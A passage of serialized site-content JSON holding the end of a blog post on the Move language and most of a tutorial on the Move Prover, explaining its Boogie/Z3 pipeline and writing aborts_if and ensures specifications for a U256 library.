":230,"props":11549,"children":11550},{"style":274},[11551],{"type":29,"value":1331},{"type":23,"tag":24,"props":11553,"children":11554},{"id":7649},[11555],{"type":29,"value":7652},{"type":23,"tag":32,"props":11557,"children":11558},{},[11559],{"type":29,"value":11560},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":32,"props":11562,"children":11563},{},[11564],{"type":29,"value":11565},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":32,"props":11567,"children":11568},{},[11569,11571,11578],{"type":29,"value":11570},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":181,"props":11572,"children":11575},{"href":11573,"rel":11574},"https://twitter.com/notdeghost/",[185],[11576],{"type":29,"value":11577},"@notdeghost",{"type":29,"value":312},{"type":23,"tag":5178,"props":11580,"children":11581},{},[11582],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":11584},[11585,11586,11587],{"id":8095,"depth":243,"text":8098},{"id":10132,"depth":243,"text":10135},{"id":7649,"depth":243,"text":7652},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":11592,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11593,"description":11594,"author":8056,"image":11595,"date":11598,"isFeatured":18,"tags":11599,"onBlogPage":18,"body":11602,"_type":5202,"_id":15941,"_source":5204,"_file":15942,"_stem":15943,"_extension":5207},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":11596,"height":11597,"width":8060},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[11600,11601],"move","tutorial",{"type":20,"children":11603,"toc":15927},[11604,11623,11635,11641,11646,11651,11656,11665,11670,11684,11689,11695,11700,11714,11719,11856,11869,11874,11895,11928,11939,11944,11949,11959,11972,12314,12328,12346,12391,12404,12423,12595,12600,12605,12630,12635,13236,13248,13260,13265,13279,13284,13297,13337,13342,13374,13379,13384,13397,13782,13809,14016,14021,14033,14270,14275,14283,14302,14649,14654,14811,14816,14823,14837,14843,14848,14853,14859,14872,15103,15109,15114,15134,15403,15408,15414,15426,15431,15445,15451,15486,15586,15607,15613,15618,15623,15875,15880,15898,15902,15907,15912,15923],{"type":23,"tag":32,"props":11605,"children":11606},{},[11607,11609,11614,11616,11621],{"type":29,"value":11608},"Formal verification -- a powerful tool for ",{"type":23,"tag":2258,"props":11610,"children":11611},{},[11612],{"type":29,"value":11613},"proving",{"type":29,"value":11615}," the correctness of your programs. How does it ",{"type":23,"tag":2258,"props":11617,"children":11618},{},[11619],{"type":29,"value":11620},"actually",{"type":29,"value":11622}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":32,"props":11624,"children":11625},{},[11626,11628,11633],{"type":29,"value":11627},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":2258,"props":11629,"children":11630},{},[11631],{"type":29,"value":11632},"all",{"type":29,"value":11634}," possible inputs.",{"type":23,"tag":24,"props":11636,"children":11638},{"id":11637},"move-prover",[11639],{"type":29,"value":11640},"Move Prover",{"type":23,"tag":32,"props":11642,"children":11643},{},[11644],{"type":29,"value":11645},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":32,"props":11647,"children":11648},{},[11649],{"type":29,"value":11650},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":32,"props":11652,"children":11653},{},[11654],{"type":29,"value":11655},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":32,"props":11657,"children":11658},{},[11659],{"type":23,"tag":93,"props":11660,"children":11664},{"alt":11661,"src":11662,"title":11663},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":32,"props":11666,"children":11667},{},[11668],{"type":29,"value":11669},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":32,"props":11671,"children":11672},{},[11673,11675,11682],{"type":29,"value":11674},"The model is translated into an intermediate language, called ",{"type":23,"tag":181,"props":11676,"children":11679},{"href":11677,"rel":11678},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[185],[11680],{"type":29,"value":11681},"Boogie",{"type":29,"value":11683},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":32,"props":11685,"children":11686},{},[11687],{"type":29,"value":11688},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":24,"props":11690,"children":11692},{"id":11691},"move-specification-language",[11693],{"type":29,"value":11694},"Move Specification Language",{"type":23,"tag":32,"props":11696,"children":11697},{},[11698],{"type":29,"value":11699},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":32,"props":11701,"children":11702},{},[11703,11705,11712],{"type":29,"value":11704},"To better understand how to use the MSL, we will use ",{"type":23,"tag":181,"props":11706,"children":11709},{"href":11707,"rel":11708},"https://github.com/pontem-network/u256",[185],[11710],{"type":29,"value":11711},"Pontem's U256 library",{"type":29,"value":11713},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":32,"props":11715,"children":11716},{},[11717],{"type":29,"value":11718},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":220,"props":11720,"children":11722},{"code":11721,"language":5319,"meta":7,"className":5320,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[11723],{"type":23,"tag":71,"props":11724,"children":11725},{"__ignoreMap":7},[11726,11769,11789,11809,11829,11849],{"type":23,"tag":230,"props":11727,"children":11728},{"class":232,"line":233},[11729,11734,11738,11743,11748,11752,11757,11761,11765],{"type":23,"tag":230,"props":11730,"children":11731},{"style":256},[11732],{"type":29,"value":11733},"struct",{"type":23,"tag":230,"props":11735,"children":11736},{"style":676},[11737],{"type":29,"value":7069},{"type":23,"tag":230,"props":11739,"children":11740},{"style":262},[11741],{"type":29,"value":11742}," has",{"type":23,"tag":230,"props":11744,"children":11745},{"style":262},[11746],{"type":29,"value":11747}," copy",{"type":23,"tag":230,"props":11749,"children":11750},{"style":274},[11751],{"type":29,"value":684},{"type":23,"tag":230,"props":11753,"children":11754},{"style":262},[11755],{"type":29,"value":11756},"drop",{"type":23,"tag":230,"props":11758,"children":11759},{"style":274},[11760],{"type":29,"value":684},{"type":23,"tag":230,"props":11762,"children":11763},{"style":262},[11764],{"type":29,"value":8277},{"type":23,"tag":230,"props":11766,"children":11767},{"style":274},[11768],{"type":29,"value":277},{"type":23,"tag":230,"props":11770,"children":11771},{"class":232,"line":243},[11772,11777,11781,11785],{"type":23,"tag":230,"props":11773,"children":11774},{"style":262},[11775],{"type":29,"value":11776},"    v0",{"type":23,"tag":230,"props":11778,"children":11779},{"style":268},[11780],{"type":29,"value":218},{"type":23,"tag":230,"props":11782,"children":11783},{"style":676},[11784],{"type":29,"value":8197},{"type":23,"tag":230,"props":11786,"children":11787},{"style":274},[11788],{"type":29,"value":388},{"type":23,"tag":230,"props":11790,"children":11791},{"class":232,"line":252},[11792,11797,11801,11805],{"type":23,"tag":230,"props":11793,"children":11794},{"style":262},[11795],{"type":29,"value":11796},"    v1",{"type":23,"tag":230,"props":11798,"children":11799},{"style":268},[11800],{"type":29,"value":218},{"type":23,"tag":230,"props":11802,"children":11803},{"style":676},[11804],{"type":29,"value":8197},{"type":23,"tag":230,"props":11806,"children":11807},{"style":274},[11808],{"type":29,"value":388},{"type":23,"tag":230,"props":11810,"children":11811},{"class":232,"line":280},[11812,11817,11821,11825],{"type":23,"tag":230,"props":11813,"children":11814},{"style":262},[11815],{"type":29,"value":11816},"    v2",{"type":23,"tag":230,"props":11818,"children":11819},{"style":268},[11820],{"type":29,"value":218},{"type":23,"tag":230,"props":11822,"children":11823},{"style":676},[11824],{"type":29,"value":8197},{"type":23,"tag":230,"props":11826,"children":11827},{"style":274},[11828],{"type":29,"value":388},{"type":23,"tag":230,"props":11830,"children":11831},{"class":232,"line":334},[11832,11837,11841,11845],{"type":23,"tag":230,"props":11833,"children":11834},{"style":262},[11835],{"type":29,"value":11836},"    v3",{"type":23,"tag":230,"props":11838,"children":11839},{"style":268},[11840],{"type":29,"value":218},{"type":23,"tag":230,"props":11842,"children":11843},{"style":676},[11844],{"type":29,"value":8197},{"type":23,"tag":230,"props":11846,"children":11847},{"style":274},[11848],{"type":29,"value":388},{"type":23,"tag":230,"props":11850,"children":11851},{"class":232,"line":371},[11852],{"type":23,"tag":230,"props":11853,"children":11854},{"style":274},[11855],{"type":29,"value":975},{"type":23,"tag":32,"props":11857,"children":11858},{},[11859,11861,11867],{"type":29,"value":11860},"Now, let's consider the ",{"type":23,"tag":71,"props":11862,"children":11864},{"className":11863},[],[11865],{"type":29,"value":11866},"add(a: U256, b: U256): U256",{"type":29,"value":11868}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":32,"props":11870,"children":11871},{},[11872],{"type":29,"value":11873},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":32,"props":11875,"children":11876},{},[11877,11879,11885,11887,11894],{"type":29,"value":11878},"For example, if your file is ",{"type":23,"tag":71,"props":11880,"children":11882},{"className":11881},[],[11883],{"type":29,"value":11884},"sources/u256.move",{"type":29,"value":11886},", you can put specifications in ",{"type":23,"tag":181,"props":11888,"children":11891},{"href":11889,"rel":11890},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[185],[11892],{"type":29,"value":11893},"sources/u256.spec.move",{"type":29,"value":312},{"type":23,"tag":220,"props":11896,"children":11898},{"code":11897,"language":5319,"meta":7,"className":5320,"style":7},"spec add { ... }\n",[11899],{"type":23,"tag":71,"props":11900,"children":11901},{"__ignoreMap":7},[11902],{"type":23,"tag":230,"props":11903,"children":11904},{"class":232,"line":233},[11905,11909,11914,11918,11923],{"type":23,"tag":230,"props":11906,"children":11907},{"style":262},[11908],{"type":29,"value":10610},{"type":23,"tag":230,"props":11910,"children":11911},{"style":262},[11912],{"type":29,"value":11913}," add",{"type":23,"tag":230,"props":11915,"children":11916},{"style":274},[11917],{"type":29,"value":848},{"type":23,"tag":230,"props":11919,"children":11920},{"style":268},[11921],{"type":29,"value":11922},"...",{"type":23,"tag":230,"props":11924,"children":11925},{"style":274},[11926],{"type":29,"value":11927}," }\n",{"type":23,"tag":32,"props":11929,"children":11930},{},[11931,11933,11938],{"type":29,"value":11932},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":2258,"props":11934,"children":11935},{},[11936],{"type":29,"value":11937},"Expressions",{"type":29,"value":312},{"type":23,"tag":59,"props":11940,"children":11942},{"id":11941},"expressions",[11943],{"type":29,"value":11937},{"type":23,"tag":32,"props":11945,"children":11946},{},[11947],{"type":29,"value":11948},"Let's go over some common expressions.",{"type":23,"tag":32,"props":11950,"children":11951},{},[11952,11957],{"type":23,"tag":71,"props":11953,"children":11955},{"className":11954},[],[11956],{"type":29,"value":10660},{"type":29,"value":11958}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":32,"props":11960,"children":11961},{},[11962,11964,11970],{"type":29,"value":11963},"For example, the ",{"type":23,"tag":71,"props":11965,"children":11967},{"className":11966},[],[11968],{"type":29,"value":11969},"add",{"type":29,"value":11971}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":220,"props":11973,"children":11975},{"code":11974,"language":5319,"meta":7,"className":5320,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[11976],{"type":23,"tag":71,"props":11977,"children":11978},{"__ignoreMap":7},[11979,12012,12019,12068,12090,12119,12156,12197,12204,12211,12226,12307],{"type":23,"tag":230,"props":11980,"children":11981},{"class":232,"line":233},[11982,11986,11991,11995,11999,12003,12008],{"type":23,"tag":230,"props":11983,"children":11984},{"style":256},[11985],{"type":29,"value":259},{"type":23,"tag":230,"props":11987,"children":11988},{"style":274},[11989],{"type":29,"value":11990}," P64",{"type":23,"tag":230,"props":11992,"children":11993},{"style":268},[11994],{"type":29,"value":218},{"type":23,"tag":230,"props":11996,"children":11997},{"style":676},[11998],{"type":29,"value":11180},{"type":23,"tag":230,"props":12000,"children":12001},{"style":268},[12002],{"type":29,"value":271},{"type":23,"tag":230,"props":12004,"children":12005},{"style":5149},[12006],{"type":29,"value":12007}," 0x10000000000000000",{"type":23,"tag":230,"props":12009,"children":12010},{"style":274},[12011],{"type":29,"value":511},{"type":23,"tag":230,"props":12013,"children":12014},{"class":232,"line":243},[12015],{"type":23,"tag":230,"props":12016,"children":12017},{"emptyLinePlaceholder":18},[12018],{"type":29,"value":459},{"type":23,"tag":230,"props":12020,"children":12021},{"class":232,"line":252},[12022,12026,12030,12035,12039,12043,12047,12051,12055,12059,12064],{"type":23,"tag":230,"props":12023,"children":12024},{"style":262},[12025],{"type":29,"value":10610},{"type":23,"tag":230,"props":12027,"children":12028},{"style":262},[12029],{"type":29,"value":8544},{"type":23,"tag":230,"props":12031,"children":12032},{"style":294},[12033],{"type":29,"value":12034}," value_of_U256",{"type":23,"tag":230,"props":12036,"children":12037},{"style":274},[12038],{"type":29,"value":302},{"type":23,"tag":230,"props":12040,"children":12041},{"style":262},[12042],{"type":29,"value":181},{"type":23,"tag":230,"props":12044,"children":12045},{"style":268},[12046],{"type":29,"value":218},{"type":23,"tag":230,"props":12048,"children":12049},{"style":676},[12050],{"type":29,"value":7069},{"type":23,"tag":230,"props":12052,"children":12053},{"style":274},[12054],{"type":29,"value":5467},{"type":23,"tag":230,"props":12056,"children":12057},{"style":268},[12058],{"type":29,"value":218},{"type":23,"tag":230,"props":12060,"children":12061},{"style":262},[12062],{"type":29,"value":12063}," num",{"type":23,"tag":230,"props":12065,"children":12066},{"style":274},[12067],{"type":29,"value":277},{"type":23,"tag":230,"props":12069,"children":12070},{"class":232,"line":280},[12071,12076,12080,12085],{"type":23,"tag":230,"props":12072,"children":12073},{"style":262},[12074],{"type":29,"value":12075},"    a",{"type":23,"tag":230,"props":12077,"children":12078},{"style":268},[12079],{"type":29,"value":312},{"type":23,"tag":230,"props":12081,"children":12082},{"style":274},[12083],{"type":29,"value":12084},"v0 ",{"type":23,"tag":230,"props":12086,"children":12087},{"style":268},[12088],{"type":29,"value":12089},"+\n",{"type":23,"tag":230,"props":12091,"children":12092},{"class":232,"line":334},[12093,12097,12101,12106,12110,12114],{"type":23,"tag":230,"props":12094,"children":12095},{"style":262},[12096],{"type":29,"value":12075},{"type":23,"tag":230,"props":12098,"children":12099},{"style":268},[12100],{"type":29,"value":312},{"type":23,"tag":230,"props":12102,"children":12103},{"style":274},[12104],{"type":29,"value":12105},"v1 ",{"type":23,"tag":230,"props":12107,"children":12108},{"style":268},[12109],{"type":29,"value":6909},{"type":23,"tag":230,"props":12111,"children":12112},{"style":676},[12113],{"type":29,"value":11990},{"type":23,"tag":230,"props":12115,"children":12116},{"style":268},[12117],{"type":29,"value":12118}," +\n",{"type":23,"tag":230,"props":12120,"children":12121},{"class":232,"line":371},[12122,12126,12130,12135,12139,12143,12148,12152],{"type":23,"tag":230,"props":12123,"children":12124},{"style":262},[12125],{"type":29,"value":12075},{"type":23,"tag":230,"props":12127,"children":12128},{"style":268},[12129],{"type":29,"value":312},{"type":23,"tag":230,"props":12131,"children":12132},{"style":274},[12133],{"type":29,"value":12134},"v2 ",{"type":23,"tag":230,"props":12136,"children":12137},{"style":268},[12138],{"type":29,"value":6909},{"type":23,"tag":230,"props":12140,"children":12141},{"style":676},[12142],{"type":29,"value":11990},{"type":23,"tag":230,"props":12144,"children":12145},{"style":268},[12146],{"type":29,"value":12147}," *",{"type":23,"tag":230,"props":12149,"children":12150},{"style":676},[12151],{"type":29,"value":11990},{"type":23,"tag":230,"props":12153,"children":12154},{"style":268},[12155],{"type":29,"value":12118},{"type":23,"tag":230,"props":12157,"children":12158},{"class":232,"line":391},[12159,12163,12167,12172,12176,12180,12184,12188,12192],{"type":23,"tag":230,"props":12160,"children":12161},{"style":262},[12162],{"type":29,"value":12075},{"type":23,"tag":230,"props":12164,"children":12165},{"style":268},[12166],{"type":29,"value":312},{"type":23,"tag":230,"props":12168,"children":12169},{"style":274},[12170],{"type":29,"value":12171},"v3 ",{"type":23,"tag":230,"props":12173,"children":12174},{"style":268},[12175],{"type":29,"value":6909},{"type":23,"tag":230,"props":12177,"children":12178},{"style":676},[12179],{"type":29,"value":11990},{"type":23,"tag":230,"props":12181,"children":12182},{"style":268},[12183],{"type":29,"value":12147},{"type":23,"tag":230,"props":12185,"children":12186},{"style":676},[12187],{"type":29,"value":11990},{"type":23,"tag":230,"props":12189,"children":12190},{"style":268},[12191],{"type":29,"value":12147},{"type":23,"tag":230,"props":12193,"children":12194},{"style":676},[12195],{"type":29,"value":12196}," P64\n",{"type":23,"tag":230,"props":12198,"children":12199},{"class":232,"line":400},[12200],{"type":23,"tag":230,"props":12201,"children":12202},{"style":274},[12203],{"type":29,"value":975},{"type":23,"tag":230,"props":12205,"children":12206},{"class":232,"line":444},[12207],{"type":23,"tag":230,"props":12208,"children":12209},{"emptyLinePlaceholder":18},[12210],{"type":29,"value":459},{"type":23,"tag":230,"props":12212,"children":12213},{"class":232,"line":453},[12214,12218,12222],{"type":23,"tag":230,"props":12215,"children":12216},{"style":262},[12217],{"type":29,"value":10610},{"type":23,"tag":230,"props":12219,"children":12220},{"style":262},[12221],{"type":29,"value":11913},{"type":23,"tag":230,"props":12223,"children":12224},{"style":274},[12225],{"type":29,"value":277},{"type":23,"tag":230,"props":12227,"children":12228},{"class":232,"line":462},[12229,12234,12238,12242,12246,12250,12254,12258,12262,12266,12270,12275,12279,12283,12287,12291,12295,12299,12303],{"type":23,"tag":230,"props":12230,"children":12231},{"style":262},[12232],{"type":29,"value":12233},"    aborts_if",{"type":23,"tag":230,"props":12235,"children":12236},{"style":294},[12237],{"type":29,"value":12034},{"type":23,"tag":230,"props":12239,"children":12240},{"style":274},[12241],{"type":29,"value":302},{"type":23,"tag":230,"props":12243,"children":12244},{"style":262},[12245],{"type":29,"value":181},{"type":23,"tag":230,"props":12247,"children":12248},{"style":274},[12249],{"type":29,"value":703},{"type":23,"tag":230,"props":12251,"children":12252},{"style":268},[12253],{"type":29,"value":6719},{"type":23,"tag":230,"props":12255,"children":12256},{"style":294},[12257],{"type":29,"value":12034},{"type":23,"tag":230,"props":12259,"children":12260},{"style":274},[12261],{"type":29,"value":302},{"type":23,"tag":230,"props":12263,"children":12264},{"style":262},[12265],{"type":29,"value":5561},{"type":23,"tag":230,"props":12267,"children":12268},{"style":274},[12269],{"type":29,"value":703},{"type":23,"tag":230,"props":12271,"children":12272},{"style":268},[12273],{"type":29,"value":12274},">=",{"type":23,"tag":230,"props":12276,"children":12277},{"style":676},[12278],{"type":29,"value":11990},{"type":23,"tag":230,"props":12280,"children":12281},{"style":268},[12282],{"type":29,"value":12147},{"type":23,"tag":230,"props":12284,"children":12285},{"style":676},[12286],{"type":29,"value":11990},{"type":23,"tag":230,"props":12288,"children":12289},{"style":268},[12290],{"type":29,"value":12147},{"type":23,"tag":230,"props":12292,"children":12293},{"style":676},[12294],{"type":29,"value":11990},{"type":23,"tag":230,"props":12296,"children":12297},{"style":268},[12298],{"type":29,"value":12147},{"type":23,"tag":230,"props":12300,"children":12301},{"style":676},[12302],{"type":29,"value":11990},{"type":23,"tag":230,"props":12304,"children":12305},{"style":274},[12306],{"type":29,"value":511},{"type":23,"tag":230,"props":12308,"children":12309},{"class":232,"line":471},[12310],{"type":23,"tag":230,"props":12311,"children":12312},{"style":274},[12313],{"type":29,"value":975},{"type":23,"tag":32,"props":12315,"children":12316},{},[12317,12319,12326],{"type":29,"value":12318},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":181,"props":12320,"children":12323},{"href":12321,"rel":12322},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[185],[12324],{"type":29,"value":12325},"MSL function",{"type":29,"value":12327},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":32,"props":12329,"children":12330},{},[12331,12333,12338,12339,12344],{"type":29,"value":12332},"A common pattern for ",{"type":23,"tag":71,"props":12334,"children":12336},{"className":12335},[],[12337],{"type":29,"value":10660},{"type":29,"value":7840},{"type":23,"tag":71,"props":12340,"children":12342},{"className":12341},[],[12343],{"type":29,"value":10668},{"type":29,"value":12345},", which lets you prove that a function will never abort.",{"type":23,"tag":220,"props":12347,"children":12349},{"code":12348,"language":5319,"meta":7,"className":5320,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[12350],{"type":23,"tag":71,"props":12351,"children":12352},{"__ignoreMap":7},[12353,12369,12384],{"type":23,"tag":230,"props":12354,"children":12355},{"class":232,"line":233},[12356,12360,12365],{"type":23,"tag":230,"props":12357,"children":12358},{"style":262},[12359],{"type":29,"value":10610},{"type":23,"tag":230,"props":12361,"children":12362},{"style":262},[12363],{"type":29,"value":12364}," critical_function",{"type":23,"tag":230,"props":12366,"children":12367},{"style":274},[12368],{"type":29,"value":277},{"type":23,"tag":230,"props":12370,"children":12371},{"class":232,"line":243},[12372,12376,12380],{"type":23,"tag":230,"props":12373,"children":12374},{"style":262},[12375],{"type":29,"value":12233},{"type":23,"tag":230,"props":12377,"children":12378},{"style":256},[12379],{"type":29,"value":11391},{"type":23,"tag":230,"props":12381,"children":12382},{"style":274},[12383],{"type":29,"value":511},{"type":23,"tag":230,"props":12385,"children":12386},{"class":232,"line":252},[12387],{"type":23,"tag":230,"props":12388,"children":12389},{"style":274},[12390],{"type":29,"value":975},{"type":23,"tag":32,"props":12392,"children":12393},{},[12394,12396,12402],{"type":29,"value":12395},"Another type of expression that we can use is ",{"type":23,"tag":71,"props":12397,"children":12399},{"className":12398},[],[12400],{"type":29,"value":12401},"ensures",{"type":29,"value":12403},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":32,"props":12405,"children":12406},{},[12407,12409,12414,12416,12421],{"type":29,"value":12408},"In the case of the ",{"type":23,"tag":71,"props":12410,"children":12412},{"className":12411},[],[12413],{"type":29,"value":11969},{"type":29,"value":12415}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":2302,"props":12417,"children":12418},{},[12419],{"type":29,"value":12420},"MSL uses unbounded numbers",{"type":29,"value":12422},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":220,"props":12424,"children":12426},{"code":12425,"language":5319,"meta":7,"className":5320,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[12427],{"type":23,"tag":71,"props":12428,"children":12429},{"__ignoreMap":7},[12430,12445,12524,12588],{"type":23,"tag":230,"props":12431,"children":12432},{"class":232,"line":233},[12433,12437,12441],{"type":23,"tag":230,"props":12434,"children":12435},{"style":262},[12436],{"type":29,"value":10610},{"type":23,"tag":230,"props":12438,"children":12439},{"style":262},[12440],{"type":29,"value":11913},{"type":23,"tag":230,"props":12442,"children":12443},{"style":274},[12444],{"type":29,"value":277},{"type":23,"tag":230,"props":12446,"children":12447},{"class":232,"line":243},[12448,12452,12456,12460,12464,12468,12472,12476,12480,12484,12488,12492,12496,12500,12504,12508,12512,12516,12520],{"type":23,"tag":230,"props":12449,"children":12450},{"style":262},[12451],{"type":29,"value":12233},{"type":23,"tag":230,"props":12453,"children":12454},{"style":294},[12455],{"type":29,"value":12034},{"type":23,"tag":230,"props":12457,"children":12458},{"style":274},[12459],{"type":29,"value":302},{"type":23,"tag":230,"props":12461,"children":12462},{"style":262},[12463],{"type":29,"value":181},{"type":23,"tag":230,"props":12465,"children":12466},{"style":274},[12467],{"type":29,"value":703},{"type":23,"tag":230,"props":12469,"children":12470},{"style":268},[12471],{"type":29,"value":6719},{"type":23,"tag":230,"props":12473,"children":12474},{"style":294},[12475],{"type":29,"value":12034},{"type":23,"tag":230,"props":12477,"children":12478},{"style":274},[12479],{"type":29,"value":302},{"type":23,"tag":230,"props":12481,"children":12482},{"style":262},[12483],{"type":29,"value":5561},{"type":23,"tag":230,"props":12485,"children":12486},{"style":274},[12487],{"type":29,"value":703},{"type":23,"tag":230,"props":12489,"children":12490},{"style":268},[12491],{"type":29,"value":12274},{"type":23,"tag":230,"props":12493,"children":12494},{"style":676},[12495],{"type":29,"value":11990},{"type":23,"tag":230,"props":12497,"children":12498},{"style":268},[12499],{"type":29,"value":12147},{"type":23,"tag":230,"props":12501,"children":12502},{"style":676},[12503],{"type":29,"value":11990},{"type":23,"tag":230,"props":12505,"children":12506},{"style":268},[12507],{"type":29,"value":12147},{"type":23,"tag":230,"props":12509,"children":12510},{"style":676},[12511],{"type":29,"value":11990},{"type":23,"tag":230,"props":12513,"children":12514},{"style":268},[12515],{"type":29,"value":12147},{"type":23,"tag":230,"props":12517,"children":12518},{"style":676},[12519],{"type":29,"value":11990},{"type":23,"tag":230,"props":12521,"children":12522},{"style":274},[12523],{"type":29,"value":511},{"type":23,"tag":230,"props":12525,"children":12526},{"class":232,"line":252},[12527,12532,12536,12540,12544,12548,12552,12556,12560,12564,12568,12572,12576,12580,12584],{"type":23,"tag":230,"props":12528,"children":12529},{"style":262},[12530],{"type":29,"value":12531},"    ensures",{"type":23,"tag":230,"props":12533,"children":12534},{"style":294},[12535],{"type":29,"value":12034},{"type":23,"tag":230,"props":12537,"children":12538},{"style":274},[12539],{"type":29,"value":302},{"type":23,"tag":230,"props":12541,"children":12542},{"style":262},[12543],{"type":29,"value":11415},{"type":23,"tag":230,"props":12545,"children":12546},{"style":274},[12547],{"type":29,"value":703},{"type":23,"tag":230,"props":12549,"children":12550},{"style":268},[12551],{"type":29,"value":10911},{"type":23,"tag":230,"props":12553,"children":12554},{"style":294},[12555],{"type":29,"value":12034},{"type":23,"tag":230,"props":12557,"children":12558},{"style":274},[12559],{"type":29,"value":302},{"type":23,"tag":230,"props":12561,"children":12562},{"style":262},[12563],{"type":29,"value":181},{"type":23,"tag":230,"props":12565,"children":12566},{"style":274},[12567],{"type":29,"value":703},{"type":23,"tag":230,"props":12569,"children":12570},{"style":268},[12571],{"type":29,"value":6719},{"type":23,"tag":230,"props":12573,"children":12574},{"style":294},[12575],{"type":29,"value":12034},{"type":23,"tag":230,"props":12577,"children":12578},{"style":274},[12579],{"type":29,"value":302},{"type":23,"tag":230,"props":12581,"children":12582},{"style":262},[12583],{"type":29,"value":5561},{"type":23,"tag":230,"props":12585,"children":12586},{"style":274},[12587],{"type":29,"value":753},{"type":23,"tag":230,"props":12589,"children":12590},{"class":232,"line":280},[12591],{"type":23,"tag":230,"props":12592,"children":12593},{"style":274},[12594],{"type":29,"value":975},{"type":23,"tag":32,"props":12596,"children":12597},{},[12598],{"type":29,"value":12599},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":32,"props":12601,"children":12602},{},[12603],{"type":29,"value":12604},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":220,"props":12606,"children":12608},{"code":12607,"language":6580,"meta":7,"className":6581,"style":7},"$ move prove\n",[12609],{"type":23,"tag":71,"props":12610,"children":12611},{"__ignoreMap":7},[12612],{"type":23,"tag":230,"props":12613,"children":12614},{"class":232,"line":233},[12615,12620,12625],{"type":23,"tag":230,"props":12616,"children":12617},{"style":294},[12618],{"type":29,"value":12619},"$",{"type":23,"tag":230,"props":12621,"children":12622},{"style":380},[12623],{"type":29,"value":12624}," move",{"type":23,"tag":230,"props":12626,"children":12627},{"style":380},[12628],{"type":29,"value":12629}," prove\n",{"type":23,"tag":32,"props":12631,"children":12632},{},[12633],{"type":29,"value":12634},"It outputs the following error information:",{"type":23,"tag":220,"props":12636,"children":12638},{"code":12637,"language":6580,"meta":7,"className":6581,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification 